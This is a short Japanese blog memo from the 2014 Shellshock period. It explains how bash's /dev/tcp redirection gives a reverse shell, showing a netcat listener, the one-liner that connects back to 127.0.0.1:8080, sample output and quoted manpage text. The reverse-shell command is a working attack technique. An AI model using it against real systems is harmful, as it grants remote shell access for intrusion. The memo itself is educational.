bashのリダイレクト(リバースシェル)について
朝からbashの脆弱性で盛り上がってますが、ちょっと調べていて bash の機能を使って Reverse Shell できるそうなので、そのメモ。
http://d.hatena.ne.jp/ukky3/20080420/1208672083
基本上記のブログ通り。
● SHELL1
nc -l -k 8080
● SHELL2
exec 5<>/dev/tcp/127.0.0.1/8080; sh <&5 >&5 2>&5
● SHELL1
nc -l -k 8080 date Thu Sep 25 14:22:01 JST 2014 hostname hkobayash01
SHELL1 でコマンド打つと結果が帰ってきます。
exec してるところが呪文すぎるので、manpage 見るとちゃんと載ってる。
http://linuxjm.sourceforge.jp/html/GNU_bash/man1/bash.1.html
読み書きのためのファイル・ディスクリプターのオープン
リダイレクト演算子
[n]<>word
を使うと、 word を展開した結果の名前を持つファイルがファイル・ディスクリプター n での読み書きのためにオープンされます。 n が指定されていなければ、 ファイル・ディスクリプター 0 で読み書きが行われます。 ファイルが存在しなければ、新しく生成されます。
/dev/tcp/host/port
host が有効なホスト名またはインターネットアドレスで port が整数のポート番号ならば、 bash は対応するソケットに対して TCP 接続のオープンを試みます。
ファイル・ディスクリプターの複製
リダイレクト演算子
[n]<&word
を使うと入力ファイル・ディスクリプターを複製できます。 word が 1 桁以上の数値に展開された場合、 n で示されるファイル・ディスクリプターが生成され、 word で指定された数値のファイル・ディスクリプターのコピーとなります。 word に含まれる数値が入力用にオープンされたファイル・ディスクリプターを 指していない場合、リダイレクト・エラーが起きます。 word を評価した結果が - となった場合、ファイル・ディスクリプター n はクローズされます。 n が指定されていない場合、標準入力 (ファイル・ディスクリプター 0) が使われます。
同様に、演算子
[n]>&word
を使って出力ファイル・ディスクリプターを複製できます。 n が指定されていない場合は、標準出力 (ファイル・ディスクリプター 1) が使われます。 word に含まれる数値が、出力用にオープンされた ファイル・ディスクリプターを指していない場合、 リダイレクト・エラーが起きます。特別な場合ですが、 n が省略され、かつ word が 1 桁以上の数字には展開されなかった場合、 前に説明したように標準出力と標準エラー出力がリダイレクトされます。
つまり、
は読み書き用に fd5 をオープンして、127.0.0.1:8080 と関連付けして、その後 sh を起動して、標準入出力とエラー出力をfd5につなげているっぽい。
bash にはこんな機能もあったのかって感じでした。
他にも、プロセス置換機能などいろいろあるっぽい。
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
https://x86-64.jp/blog/CVE-2014-6271
http://www.walbrix.com/jp/blog/2014-09-bash-code-injection.html